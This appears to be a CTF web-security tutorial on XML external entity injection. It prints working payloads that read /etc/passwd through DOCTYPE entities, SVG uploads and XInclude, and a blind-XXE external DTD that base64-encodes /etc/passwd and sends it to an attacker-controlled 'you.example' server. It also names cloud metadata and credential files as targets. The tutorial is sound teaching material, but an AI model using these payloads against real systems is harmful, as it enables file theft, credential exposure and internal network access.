XXE: turning an XML parser into a file reader
Any feature that parses XML - and that includes SVG, DOCX, and SOAP - can be told to fetch files and URLs of your choosing. How to confirm it, read files with a classic payload, and exfiltrate through an external DTD when nothing comes back.
XML has a feature almost nobody asks for and almost every parser ships enabled: a document can define entities that pull their contents from a URL. That URL can be file:///etc/passwd. It can be http://169.254.169.254/. The parser resolves it while building the document, before your application has looked at a single field. That is XML external entity injection, and it is the reason an innocent-looking upload form is one of the most reliable file-read primitives in CTF web.
What makes XXE worth learning as its own category, rather than as a footnote to SSRF, is how well it hides. The vulnerable input is frequently not called XML anywhere the user can see. It is an avatar upload that accepts SVG, a document import that accepts DOCX, a SOAP endpoint, an RSS parser, a SAML assertion. All of those are XML underneath, and all of them reach a parser.
The mechanism in four lines
An internal entity is a find-and-replace: define test as some text, and &test; expands to it. An external entity changes only where the text comes from - the SYSTEM keyword makes the value a URL the parser fetches.
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<r>&test;</r>The file:// scheme reads local files. http:// makes the server issue a request, which is an SSRF wearing XML syntax - everything from the SSRF article applies once you are here, including cloud metadata and internal port scanning. Some parsers also enable php://, expect://, jar://, or netdoc://, each of which widens what you can reach; php://filter in particular lets you base64-encode a file so that newlines and XML-special characters do not break the parse.
Step one: find the XML you are allowed to send
The entry point is XML the server parses. Look in three places, in order of how often people miss them.
- Obvious XML bodies. A request whose body starts with
<?xml, or a SOAP envelope. Base64-encoded XML beginsPD94bWw- that string is worth recognising on sight, because it is<?xmlencoded and it turns an opaque blob into an entry point. - Content-Type coercion. An endpoint that takes JSON by default will sometimes parse XML if you change the
Content-Typetoapplication/xmland send an XML body. The parser is wired up; only the router was pointing elsewhere. - File uploads. This is the big one. SVG, DOCX, PPTX, XLSX, GPX, PDF, RSS, and even the XMP metadata inside PNG and JPEG are XML-backed. An avatar uploader that swears it only takes images will happily parse an SVG, and SVG is plain-text XML you can edit in any editor.
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY x SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="30">
<text x="0" y="20">&x;</text>
</svg>Step two: confirm entities are processed
Before a file-read payload, prove the parser expands entities at all. An internal entity needs no network and no file access, so it isolates the one question you care about.
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY hi "IT-WORKS"> ]>
<r>&hi;</r>If SYSTEM is blocked but entities still expand, try PUBLIC instead - <!ENTITY test PUBLIC "any-id" "file:///etc/hostname">. Some hardened parsers filter one keyword and not the other. Start file reads with low-drama targets like /etc/hostname and /etc/passwd; a challenge often restricts the obvious paths, so a failure on the first file is not a failure of the technique.
Step three: when nothing comes back - blind XXE
Plenty of parsers process your XML and never echo it. This is blind XXE, and the naive fix - define a file entity and cram it into a URL - does not work, for a reason worth understanding rather than memorising.
<!-- Looks reasonable. Does not work. -->
<!DOCTYPE r [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY exfil SYSTEM "http://you.example/?x=&file;">
]>The way through is parameter entities - entities declared and referenced with % that are meant to be used inside the DTD itself. And because inline DTDs forbid referencing a parameter entity inside a markup declaration, the working attack lives in an *external* DTD that you host, where that restriction does not apply.
<!-- Host this as xxe.dtd on a server you control. -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % ent "<!ENTITY % exfil SYSTEM 'http://you.example/?x=%file;'>">
%ent;
%exfil;<!-- Send this to the target. It pulls in your DTD, which does the work. -->
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % dtd SYSTEM "http://you.example/xxe.dtd">
%dtd;
]>Notice this uses only parameter entities and no external general entity at all, which is exactly why it survives parsers that block the classic form. Stand up a listener, request the target, and read the file contents out of your own access log.
Step four: XInclude, when you only control a fragment
Sometimes you cannot supply the DOCTYPE - the server builds the XML document and drops your input into one field of it. You have lost the ability to declare entities, but not the ability to attack, because XInclude pulls a file into a single element with no DTD required.
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</foo>If a single user-controlled field ends up inside a server-side XML document, this one tag is often the whole exploit - no control over the document, no DTD, still a file read.
What it is worth once it works
- Local file read - the flag file,
/etc/passwd, source code,~/.bash_history(internal URLs and paths people typed), config files with credentials in them. - SSRF - swap
file://forhttp://and you have the server's network position: internal services, cloud metadata, port scanning by response difference. - Directory-listing and source disclosure, on parsers that allow it, which turns a blind challenge into a readable one.
The short version
- Find XML the server parses - bodies, coerced Content-Types, and especially SVG/DOCX uploads.
- Confirm entity expansion with an internal entity before anything else.
- Read files with a classic
SYSTEM(orPUBLIC) payload if the result is reflected. - If it is blind, host an external DTD using parameter entities and exfiltrate to your listener - or leak via a parser error.
- If you only control one field, reach for XInclude.
- Escalate
file://tohttp://for SSRF, and go read the flag.